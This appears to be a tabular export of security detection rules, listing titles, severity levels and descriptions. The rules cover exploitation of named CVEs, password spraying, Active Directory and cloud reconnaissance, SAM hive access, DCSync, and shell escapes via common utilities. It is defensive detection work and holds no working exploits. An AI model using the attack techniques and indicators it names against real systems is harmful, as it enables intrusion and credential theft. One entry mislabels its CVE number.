CVE-2021-41773 Exploitation Attempt	high	Detects exploitation of flaw in path normalization in Apache HTTP server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.
Sitecore Pre-Auth RCE CVE-2021-42237	high	Detects exploitation attempts of Sitecore Experience Platform Pre-Auth RCE CVE-2021-42237 found in Report.ashx
Grafana Path Traversal Exploitation CVE-2021-43798	critical	Detects a successful Grafana path traversal exploitation
Potential CVE-2021-44228 Exploitation Attempt - VMware Horizon	high	Detects potential initial exploitation attempts against VMware Horizon deployments running a vulnerable versions of Log4j.
Log4j RCE CVE-2021-44228 Generic	high	Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 (Log4Shell)
Log4j RCE CVE-2021-44228 in Fields	high	Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 in different header fields found in web server logs (Log4Shell)
Exchange ProxyShell Pattern	high	Detects URL patterns that could be found in ProxyShell exploitation attempts against Exchange servers (failed and successful)
Successful Exchange ProxyShell Attack	critical	Detects URP patterns and status codes that indicate a successful ProxyShell exploitation attack against Exchange servers
SonicWall SSL/VPN Jarrewrite Exploitation	high	Detects exploitation attempts of the SonicWall Jarrewrite Exploit
Exchange Exploitation Used by HAFNIUM	high	Detects exploitation attempts in Exchange server logs as described in blog posts reporting on HAFNIUM group activity
Potential CVE-2022-21587 Exploitation Attempt	high	Detects potential exploitation attempts of CVE-2022-21587 an arbitrary file upload vulnerability impacting Oracle E-Business Suite (EBS). CVE-2022-21587 can lead to unauthenticated remote code execution.
Potential CVE-2022-22954 Exploitation Attempt - VMware Workspace ONE Access Remote Code Execution	medium	Detects potential exploitation attempt of CVE-2022-22954, a remote code execution vulnerability in VMware Workspace ONE Access and Identity Manager. As reported by Morphisec, part of the attack chain, threat actors used PowerShell commands that executed as a child processes of the legitimate Tomcat "prunsrv.exe" process application.
Potential CVE-2022-26809 Exploitation Attempt	high	Detects suspicious remote procedure call (RPC) service anomalies based on the spawned sub processes (long shot to detect the exploitation of vulnerabilities like CVE-2022-26809)
Zimbra Collaboration Suite Email Server Unauthenticated RCE	medium	Detects an attempt to leverage the vulnerable servlet "mboximport" for an unauthenticated remote command injection
CVE-2022-31659 VMware Workspace ONE Access RCE	medium	Detects possible exploitation of VMware Workspace ONE Access Admin Remote Code Execution vulnerability as described in CVE-2022-31659
CVE-2022-31656 VMware Workspace ONE Access Auth Bypass	high	Detects the exploitation of VMware Workspace ONE Access Authentication Bypass vulnerability as described in CVE-2022-31656 VMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.
Apache Spark Shell Command Injection - Weblogs	high	Detects attempts to exploit an apache spark server via CVE-2014-6287 from a weblogs perspective
Atlassian Bitbucket Command Injection Via Archive API	high	Detects attempts to exploit the Atlassian Bitbucket Command Injection CVE-2022-36804
Potential OWASSRF Exploitation Attempt - Proxy	high	Detects exploitation attempt of the OWASSRF variant targeting exchange servers It uses the OWA endpoint to access the powershell backend endpoint
OWASSRF Exploitation Attempt Using Public POC - Proxy	critical	Detects exploitation attempt of the OWASSRF variant targeting exchange servers using publicly available POC. It uses the OWA endpoint to access the powershell backend endpoint
Potential OWASSRF Exploitation Attempt - Webserver	high	Detects exploitation attempt of the OWASSRF variant targeting exchange servers It uses the OWA endpoint to access the powershell backend endpoint
OWASSRF Exploitation Attempt Using Public POC - Webserver	critical	Detects exploitation attempt of the OWASSRF variant targeting exchange servers using publicly available POC. It uses the OWA endpoint to access the powershell backend endpoint
Exploitation Indicator Of CVE-2022-42475	high	Detects exploitation indicators of CVE-2022-42475 a heap-based buffer overflow in sslvpnd.
Potential Centos Web Panel Exploitation Attempt - CVE-2022-44877	high	Detects potential exploitation attempts that target the Centos Web Panel 7 Unauthenticated Remote Code Execution CVE-2022-44877
Potential CVE-2022-46169 Exploitation Attempt	high	Detects potential exploitation attempts that target the Cacti Command Injection CVE-2022-46169
CVE-2023-1389 Potential Exploitation Attempt - Unauthenticated Command Injection In TP-Link Archer AX21	medium	Detects potential exploitation attempt of CVE-2023-1389 an Unauthenticated Command Injection in TP-Link Archer AX21.
Exploitation Indicators Of CVE-2023-20198	high	Detecting exploitation indicators of CVE-2023-20198 a privilege escalation vulnerability in Cisco IOS XE Software Web UI.
CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Linux)	high	Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.
CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Windows)	medium	Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.
CVE-2023-22518 Exploitation Attempt - Vulnerable Endpoint Connection (Proxy)	medium	Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.
CVE-2023-22518 Exploitation Attempt - Vulnerable Endpoint Connection (Webserver)	medium	Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.
Potential CVE-2023-2283 Exploitation	medium	Detects potential exploitation attempt of CVE-2023-2283 an authentication bypass in libSSH. The exploitation method causes an error message stating that keys for curve25519 could not be generated. It is an error message that is a sign of an exploitation attempt. It is not a sign of a successful exploitation.
CVE-2023-23397 Exploitation Attempt	critical	Detects outlook initiating connection to a WebDAV or SMB share, which could be a sign of CVE-2023-23397 exploitation.
Potential CVE-2023-23752 Exploitation Attempt	high	Detects the potential exploitation attempt of CVE-2023-23752 an Improper access check, in web service endpoints in Joomla
Potential CVE-2023-25157 Exploitation Attempt	high	Detects a potential exploitation attempt of CVE-2023-25157 a SQL injection in GeoServer
Potential CVE-2023-25717 Exploitation Attempt	high	Detects a potential exploitation attempt of CVE-2023-25717 a Remote Code Execution via an unauthenticated HTTP GET Request, in Ruckus Wireless Admin
Potential CVE-2023-27997 Exploitation Indicators	medium	Detects indicators of potential exploitation of CVE-2023-27997 in Frotigate weblogs. To avoid false positives it is best to look for successive requests to the endpoints mentioned as well as weird values of the "enc" parameter
Potential MOVEit Transfer CVE-2023-34362 Exploitation - File Activity	high	Detects file indicators of potential exploitation of MOVEit CVE-2023-34362.
Potential Information Disclosure CVE-2023-43261 Exploitation - Proxy	high	Detects exploitation attempts of CVE-2023-43261 and information disclosure in Milesight UR5X, UR32L, UR32, UR35, UR41 before v35.3.0.7 that allows attackers to access sensitive router components in proxy logs.
Potential Information Disclosure CVE-2023-43261 Exploitation - Web	high	Detects exploitation attempts of CVE-2023-43261 and information disclosure in Milesight UR5X, UR32L, UR32, UR35, UR41 before v35.3.0.7 that allows attackers to access sensitive router components in access logs.
CVE-2023-46747 Exploitation Activity - Proxy	high	Detects exploitation activity of CVE-2023-46747 an unauthenticated remote code execution vulnerability in F5 BIG-IP.
CVE-2023-46747 Exploitation Activity - Webserver	high	Detects exploitation activity of CVE-2023-46747 an unauthenticated remote code execution vulnerability in F5 BIG-IP.
CVE-2023-4966 Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Proxy	high	Detects exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via proxy logs by looking for a very long host header string.
CVE-2023-4966 Potential Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Proxy	medium	Detects potential exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via proxy logs.
CVE-2023-4966 Potential Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Webserver	medium	Detects potential exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via webserver logs.
CVE-2023-4966 Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Webserver	high	Detects exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via webserver logs by looking for a very long host header string.
Potential Exploitation Attempt Of Undocumented WindowsServer RCE	high	Detects potential exploitation attempt of undocumented Windows Server Pre Auth Remote Code Execution (RCE)
CVE-2024-1212 Exploitation - Progress Kemp LoadMaster Unauthenticated Command Injection	high	Detects potential exploitation of CVE-2024-1709 an unauthenticated command injection in Progress Kemp LoadMaster. It looks for GET requests to '/access/set' API with the parameters 'param=enableapi' and 'value=1' as well as an "Authorization" header with a base64 encoded value with an uncommon character.
CVE-2024-1708 - ScreenConnect Path Traversal Exploitation - Security	critical	This detects file modifications to ASPX and ASHX files within the root of the App_Extensions directory, which is allowed by a ZipSlip vulnerability in versions prior to 23.9.8. This occurs during exploitation of CVE-2024-1708. This requires an Advanced Auditing policy to log a successful Windows Event ID 4663 events and with a SACL set on the directory.
CVE-2024-1709 - ScreenConnect Authentication Bypass Exploitation	critical	Detects GET requests to '/SetupWizard.aspx/[anythinghere]' that indicate exploitation of the ScreenConnect vulnerability CVE-2024-1709.
Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection	high	Detects potential exploitation attempts of CVE-2024-3400 - an OS command injection in Palo Alto GlobalProtect. This detection looks for suspicious strings that indicate a potential directory traversal attempt or command injection.
.Class Extension URI Ending Request	medium	Detects requests to URI ending with the ".class" extension in proxy logs. This could rules can be used to hunt for potential downloads of Java classes as seen for example in Log4shell exploitation attacks against Log4j.
WebDAV Temporary Local File Creation	medium	Detects the creation of WebDAV temporary files with potentially suspicious extensions
OMIGOD SCX RunAsProvider ExecuteScript	high	Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.
Multiple Suspicious Resp Codes Caused by Single Client	medium	Detects possible exploitation activity or bugs in a web application
Possible DNS Rebinding	medium	Detects several different DNS-answers by one domain with IPs from internal and external networks. Normally, DNS-answer contain TTL >100. (DNS-record will saved in host cache for a while TTL).
Password Spraying via Explicit Credentials	medium	Detects a single user failing to authenticate to multiple users using explicit credentials.
Multiple Users Failing to Authenticate from Single Process	medium	Detects failed logins with multiple accounts from a single process on the system.
Valid Users Failing to Authenticate From Single Source Using Kerberos	medium	Detects multiple failed logins with multiple valid domain accounts from a single source system using the Kerberos protocol.
Disabled Users Failing To Authenticate From Source Using Kerberos	medium	Detects failed logins with multiple disabled domain accounts from a single source system using the Kerberos protocol.
Invalid Users Failing To Authenticate From Source Using Kerberos	medium	Detects failed logins with multiple invalid domain accounts from a single source system using the Kerberos protocol.
Valid Users Failing to Authenticate from Single Source Using NTLM	medium	Detects failed logins with multiple valid domain accounts from a single source system using the NTLM protocol.
Invalid Users Failing To Authenticate From Single Source Using NTLM	medium	Detects failed logins with multiple invalid domain accounts from a single source system using the NTLM protocol.
Multiple Users Remotely Failing To Authenticate From Single Source	medium	Detects a source system failing to authenticate against a remote host with multiple users.

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Title	Level	Description
AzureHound PowerShell Commands	high	Detects the execution of AzureHound in PowerShell, a tool to gather data from Azure for BloodHound
Powershell File and Directory Discovery	low	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
CrackMapExecWin	critical	Detects CrackMapExecWin Activity as Described by NCSC
Trickbot Malware Reconnaissance Activity	high	Detects potential reconnaissance activity used by Trickbot malware. Trickbot enumerates domain/network topology and executes certain commands automatically every few minutes.
Run Whoami as SYSTEM	high	Detects a whoami.exe executed by LOCAL SYSTEM. This may be a sign of a successful local privilege escalation.
Domain Trust Discovery	medium	Detects a discovery of domain trusts.
Correct Execution of Nltest.exe	high	The attacker might use LOLBAS nltest.exe for discovery of domain controllers, domain trusts, parent domain and the current user permissions.
OpenCanary - SNMP OID Request	high	Detects instances where an SNMP service on an OpenCanary node has had an OID request.
Remote Schedule Task Recon via AtScv	high	Detects remote RPC calls to read information about scheduled tasks via AtScv
Possible DCSync Attack	high	Detects remote RPC calls to MS-DRSR from non DC hosts, which could indicate DCSync / DCShadow attacks.
Remote Event Log Recon	high	Detects remote RPC calls to get event log information via EVEN or EVEN6
Remote Schedule Task Recon via ITaskSchedulerService	high	Detects remote RPC calls to read information about scheduled tasks
Remote Registry Recon	high	Detects remote RPC calls to collect information
Recon Activity via SASec	high	Detects remote RPC calls to read information about scheduled tasks via SASec
SharpHound Recon Account Discovery	high	Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.
Potential Bucket Enumeration on AWS	low	Looks for potential enumeration of AWS buckets via ListBuckets.
Discovery Using AzureHound	high	Detects AzureHound (A BloodHound data collector for Microsoft Azure) activity via the default User-Agent that is used during its operation after successful authentication.
Bitbucket User Details Export Attempt Detected	medium	Detects user data export activity.
Google Cloud Storage Buckets Enumeration	low	Detects when storage bucket is enumerated in Google Cloud.
Github Self Hosted Runner Changes Detected	low	A self-hosted runner is a system that you deploy and manage to execute jobs from GitHub Actions on GitHub.com. This rule detects changes to self-hosted runners configurations in the environment. The self-hosted runner configuration changes once detected, it should be validated from GitHub UI because the log entry may not provide full context.
Linux Network Service Scanning - Auditd	low	Detects enumeration of local or remote network services.
Network Sniffing - Linux	low	Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.
Password Policy Discovery - Linux	low	Detects password policy discovery commands
System Information Discovery - Auditd	low	Detects System Information Discovery commands
System and Hardware Information Discovery	informational	Detects system information discovery commands
System Owner or User Discovery - Linux	low	Detects the execution of host or user discovery utilities such as "whoami", "hostname", "id", etc. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Shell Invocation via Apt - Linux	medium	Detects the use of the "apt" and "apt-get" commands to execute a shell or proxy commands. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.
Capabilities Discovery - Linux	low	Detects usage of "getcap" binary. This is often used during recon activity to determine potential binaries that can be abused as GTFOBins or other.
Crontab Enumeration	low	Detects usage of crontab to list the tasks of the user
ESXi Network Configuration Discovery Via ESXCLI	medium	Detects execution of the "esxcli" command with the "network" flag in order to retrieve information about the network configuration.
ESXi Storage Information Discovery Via ESXCLI	medium	Detects execution of the "esxcli" command with the "storage" flag in order to retrieve information about the storage status and other related information. Seen used by malware such as DarkSide and LockBit.
ESXi System Information Discovery Via ESXCLI	medium	Detects execution of the "esxcli" command with the "system" flag in order to retrieve information about the different component of the system. Such as accounts, modules, NTP, etc.
ESXi VM List Discovery Via ESXCLI	medium	Detects execution of the "esxcli" command with the "vm" flag in order to retrieve information about the installed VMs.
ESXi VSAN Information Discovery Via ESXCLI	medium	Detects execution of the "esxcli" command with the "vsan" flag in order to retrieve information about virtual storage. Seen used by malware such as DarkSide.
File and Directory Discovery - Linux	informational	Detects usage of system utilities such as "find", "tree", "findmnt", etc, to discover files, directories and network shares.
Shell Execution via Find - Linux	high	Detects the use of the find command to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or exploitation attempt.
Shell Execution via Flock - Linux	high	Detects the use of the "flock" command to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.
Shell Execution GCC - Linux	high	Detects the use of the "gcc" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.
OS Architecture Discovery Via Grep	low	Detects the use of grep to identify information about the operating system architecture. Often combined beforehand with the execution of "uname" or "cat /proc/cpuinfo"
Local System Accounts Discovery - Linux	low	Detects enumeration of local systeam accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.
Local Groups Discovery - Linux	low	Detects enumeration of local system groups. Adversaries may attempt to find local system groups and permission settings
Potential GobRAT File Discovery Via Grep	high	Detects the use of grep to discover specific files created by the GobRAT malware
Shell Execution via Nice - Linux	high	Detects the use of the "nice" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.
Pnscan Binary Data Transmission Activity	medium	Detects command line patterns associated with the use of Pnscan for sending and receiving binary data across the network. This behavior has been identified in a Linux malware campaign targeting Docker, Apache Hadoop, Redis, and Confluence and was previously used by the threat actor known as TeamTNT
Linux Remote System Discovery	low	Detects the enumeration of other remote systems.
Security Software Discovery - Linux	low	Detects usage of system utilities (only grep and egrep for now) to discover security software discovery
Container Residence Discovery Via Proc Virtual FS	low	Detects potential container discovery via listing of certain kernel features in the "/proc" virtual filesystem
Docker Container Discovery Via Dockerenv Listing	low	Detects listing or file reading of ".dockerenv" which can be a sing of potential container discovery
Potential Discovery Activity Using Find - Linux	medium	Detects usage of "find" binary in a suspicious manner to perform discovery
Potential Container Discovery Via Inodes Listing	low	Detects listing of the inodes of the "/" directory to determine if the we are running inside of a container.
Linux Network Service Scanning Tools Execution	low	Detects execution of network scanning and reconnaisance tools. These tools can be used for the enumeration of local or remote network services for example.
System Information Discovery	informational	Detects system information discovery commands
System Network Connections Discovery - Linux	low	Detects usage of system utilities to discover system network connections
System Network Discovery - Linux	informational	Detects enumeration of local network configuration
Vim GTFOBin Abuse - Linux	high	Detects the use of "vim" and it's siblings commands to execute a shell or proxy commands. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.
System Integrity Protection (SIP) Disabled	medium	Detects the use of csrutil to disable the Configure System Integrity Protection (SIP). This technique is used in post-exploit scenarios.
System Integrity Protection (SIP) Enumeration	low	Detects the use of csrutil to view the Configure System Integrity Protection (SIP) status. This technique is used in post-exploit scenarios.
File and Directory Discovery - MacOS	informational	Detects usage of system utilities to discover files and directories
System Information Discovery Using Ioreg	medium	Detects the use of "ioreg" which will show I/O Kit registry information. This process is used for system information discovery. It has been observed in-the-wild by calling this process directly or using bash and grep to look for specific strings.
Local System Accounts Discovery - MacOs	low	Detects enumeration of local systeam accounts on MacOS
Local Groups Discovery - MacOs	informational	Detects enumeration of local system groups
MacOS Network Service Scanning	low	Detects enumeration of local or remote network services.
Network Sniffing - MacOs	informational	Detects the usage of tooling to sniff network traffic. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.
Macos Remote System Discovery	informational	Detects the enumeration of other remote systems.
Security Software Discovery - MacOs	medium	Detects usage of system utilities (only grep for now) to discover security software discovery
Potential Discovery Activity Using Find - MacOS	medium	Detects usage of "find" binary in a suspicious manner to perform discovery
System Network Discovery - macOS	informational	Detects enumeration of local network configuration
System Information Discovery Using sw_vers	medium	Detects the use of "sw_vers" for system information discovery
System Information Discovery Via Sysctl - MacOS	medium	Detects the execution of "sysctl" with specific arguments that have been used by threat actors and malware. It provides system hardware information. This process is primarily used to detect and avoid virtualization and analysis environments.
System Information Discovery Using System_Profiler	medium	Detects the execution of "system_profiler" with specific "Data Types" that have been seen being used by threat actors and malware. It provides system hardware and software configuration information. This process is primarily used for system information discovery. However, "system_profiler" can also be used to determine if virtualization software is being run for defense evasion purposes.
System Network Connections Discovery - MacOs	informational	Detects usage of system utilities to discover system network connections
Cisco Collect Data	low	Collect pertinent data from the configuration files
Cisco Discovery	low	Find information about network devices that is not stored in config files
Cisco Sniffing	medium	Show when a monitor or a span/rspan is setup or modified
PUA - Advanced IP/Port Scanner Update Check	medium	Detect the update check performed by Advanced IP/Port Scanner utilities.
Source Code Enumeration Detection by Keyword	medium	Detects source code enumeration that use GET requests by keyword searches in URL strings
Potential Active Directory Reconnaissance/Enumeration Via LDAP	medium	Detects potential Active Directory enumeration via LDAP
Azure AD Health Monitoring Agent Registry Keys Access	medium	This detection uses Windows security events to detect suspicious access attempts to the registry key of Azure AD Health monitoring agent. This detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object HKLM\SOFTWARE\Microsoft\Microsoft Online\Reporting\MonitoringAgent.
Azure AD Health Service Agents Registry Keys Access	medium	This detection uses Windows security events to detect suspicious access attempts to the registry key values and sub-keys of Azure AD Health service agents (e.g AD FS). Information from AD Health service agents can be used to potentially abuse some of the features provided by those services in the cloud (e.g. Federation). This detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object: HKLM:\SOFTWARE\Microsoft\ADHealthAgent. Make sure you set the SACL to propagate to its sub-keys.
AD Privileged Users or Groups Reconnaissance	high	Detect priv users or groups recon based on 4661 eventid and known privileged users or groups SIDs
Potential AD User Enumeration From Non-Machine Account	medium	Detects read access to a domain user from a non-machine account
Hacktool Ruler	high	This events that are generated when using the hacktool Ruler by Sensepost
Password Policy Enumerated	medium	Detects when the password policy is enumerated.
Windows Pcap Drivers	medium	Detects Windows Pcap driver installation based on a list of associated .sys files.
SAM Registry Hive Handle Request	high	Detects handles requested to SAM registry hive
SCM Database Handle Failure	medium	Detects non-system users failing to get a handle of the SCM database.
Reconnaissance Activity	high	Detects activity as "net user administrator /domain" and "net group domain admins /domain"
SysKey Registry Keys Access	high	Detects handle requests and access operations to specific registry keys to calculate the SysKey
DNS Server Discovery Via LDAP Query	low	Detects DNS server discovery via LDAP query requests from uncommon applications
Advanced IP Scanner - File Event	medium	Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.
BloodHound Collection Files	high	Detects default file names outputted by the BloodHound collection tool SharpHound
GatherNetworkInfo.VBS Reconnaissance Script Output	medium	Detects creation of files which are the results of executing the built-in reconnaissance script "C:\Windows\System32\gatherNetworkInfo.vbs".
Uncommon Connection to Active Directory Web Services	medium	Detects uncommon network connections to the Active Directory Web Services (ADWS) from processes not typically associated with ADWS management.
Suspicious Network Connection to IP Lookup Service APIs	medium	Detects external IP address lookups by non-browser processes via services such as "api.ipify.org". This could be indicative of potential post compromise internet test activity.
Python Initiated Connection	medium	Detects a Python process initiating a network connection. While this often relates to package installation, it can also indicate a potential malicious script communicating with a C&C server.
Use Get-NetTCPConnection	low	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Potential Active Directory Enumeration Using AD Module - PsModule	medium	Detects usage of the "Import-Module" cmdlet to load the "Microsoft.ActiveDirectory.Management.dl" DLL. Which is often used by attackers to perform AD enumeration.
Malicious PowerShell Commandlets - PoshModule	high	Detects Commandlet names from well-known PowerShell exploitation frameworks
AD Groups Or Users Enumeration Using PowerShell - PoshModule	low	Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.
Use Get-NetTCPConnection - PowerShell Module	low	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Suspicious Get Local Groups Information	low	Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.
Suspicious Get Information for SMB Share - PowerShell Module	low	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
AADInternals PowerShell Cmdlets Execution - PsScript	high	Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.
Potential Active Directory Enumeration Using AD Module - PsScript	medium	Detects usage of the "Import-Module" cmdlet to load the "Microsoft.ActiveDirectory.Management.dl" DLL. Which is often used by attackers to perform AD enumeration.
PowerShell ADRecon Execution	high	Detects execution of ADRecon.ps1 for AD reconnaissance which has been reported to be actively used by FIN7
Get-ADUser Enumeration Using UserAccountControl Flags	medium	Detects AS-REP roasting is an attack that is often-overlooked. It is not very common as you have to explicitly set accounts that do not require pre-authentication.
Computer Discovery And Export Via Get-ADComputer Cmdlet - PowerShell	medium	Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file
DirectorySearcher Powershell Exploitation	medium	Enumerates Active Directory to determine computers that are joined to the domain
Active Directory Computers Enumeration With Get-AdComputer	low	Detects usage of the "Get-AdComputer" to enumerate Computers or properties within Active Directory.
Active Directory Group Enumeration With Get-AdGroup	low	Detects usage of the "Get-AdGroup" cmdlet to enumerate Groups within Active Directory
Automated Collection Bookmarks Using Get-ChildItem PowerShell	low	Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.
Security Software Discovery Via Powershell Script	medium	Detects calls to "get-process" where the output is piped to a "where-object" filter to search for security solution processes. Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus
HackTool - WinPwn Execution - ScriptBlock	high	Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.
PowerShell Hotfix Enumeration	medium	Detects call to "Win32_QuickFixEngineering" in order to enumerate installed hotfixes often used in "enum" scripts by attackers
Malicious PowerShell Commandlets - ScriptBlock	high	Detects Commandlet names from well-known PowerShell exploitation frameworks
Potential Packet Capture Activity Via Start-NetEventSession - ScriptBlock	medium	Detects the execution of powershell scripts with calls to the "Start-NetEventSession" cmdlet. Which allows an attacker to start event and packet capture for a network event session. Adversaries may attempt to capture network to gather information over the course of an operation. Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol.
Powershell Sensitive File Discovery	medium	Detect adversaries enumerate sensitive files
Detected Windows Software Discovery - PowerShell	medium	Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.
AD Groups Or Users Enumeration Using PowerShell - ScriptBlock	low	Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.
Powershell Directory Enumeration	medium	Detects technique used by MAZE ransomware to enumerate directories using Powershell
Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy	low	Detetcts PowerShell activity in which Get-Addefaultdomainpasswordpolicy is used to get the default password policy for an Active Directory domain.
Suspicious PowerShell Get Current User	low	Detects the use of PowerShell to identify the current logged user.
Suspicious GPO Discovery With Get-GPO	low	Detect use of Get-GPO to get one GPO or all the GPOs in a domain.
Suspicious Process Discovery With Get-Process	low	Get the processes that are running on the local computer.
Suspicious Get Local Groups Information - PowerShell	low	Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.
Suspicious Get Information for SMB Share	low	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Powershell Suspicious Win32_PnPEntity	low	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.
User Discovery And Export Via Get-ADUser Cmdlet - PowerShell	medium	Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file
Console CodePage Lookup Via CHCP	medium	Detects use of chcp to look up the system locale value as part of host discovery
File And SubFolder Enumeration Via Dir Command	low	Detects usage of the "dir" command part of Widows CMD with the "/S" command line flag in order to enumerate files in a specified directory and all subdirectories.
Active Directory Structure Export Via Csvde.EXE	medium	Detects the execution of "csvde.exe" in order to export organizational Active Directory structure.
DirLister Execution	low	Detect the usage of "DirLister.exe" a utility for quickly listing folder or drive contents. It was seen used by BlackCat ransomware to create a list of accessible directories and files.
Potential Discovery Activity Via Dnscmd.EXE	medium	Detects an attempt to leverage dnscmd.exe to enumerate the DNS zones of a domain. DNS zones used to host the DNS records for a particular domain.
Potential Recon Activity Using DriverQuery.EXE	high	Detect usage of the "driverquery" utility to perform reconnaissance on installed drivers
DriverQuery.EXE Execution	medium	Detect usage of the "driverquery" utility. Which can be used to perform reconnaissance on installed drivers
Domain Trust Discovery Via Dsquery	medium	Detects execution of "dsquery.exe" for domain trust discovery
Suspicious Kernel Dump Using Dtrace	high	Detects suspicious way to dump the kernel on Windows systems using dtrace.exe, which is available on Windows systems since Windows 10 19H1
File Explorer Folder Opened Using Explorer Folder Shortcut Via Shell	high	Detects the initial execution of "cmd.exe" which spawns "explorer.exe" with the appropriate command line arguments for opening the "My Computer" folder.
Recon Command Output Piped To Findstr.EXE	medium	Detects the execution of a potential recon command where the results are piped to "findstr". This is meant to trigger on inline calls of "cmd.exe" via the "/c" or "/k" for example. Attackers often time use this technique to extract specific information they require in their reconnaissance phase.
Security Tools Keyword Lookup Via Findstr.EXE	medium	Detects execution of "findstr" to search for common names of security tools. Attackers often pipe the results of recon commands such as "tasklist" or "whoami" to "findstr" in order to filter out the results. This detection focuses on the keywords that the attacker might use as a filter.
Sysmon Discovery Via Default Driver Altitude Using Findstr.EXE	high	Detects usage of "findstr" with the argument "385201". Which could indicate potential discovery of an installed Sysinternals Sysmon service using the default driver altitude (even if the name is changed).
Fsutil Drive Enumeration	low	Attackers may leverage fsutil to enumerated connected drives.
Gpresult Display Group Policy Information	medium	Detects cases in which a user uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information
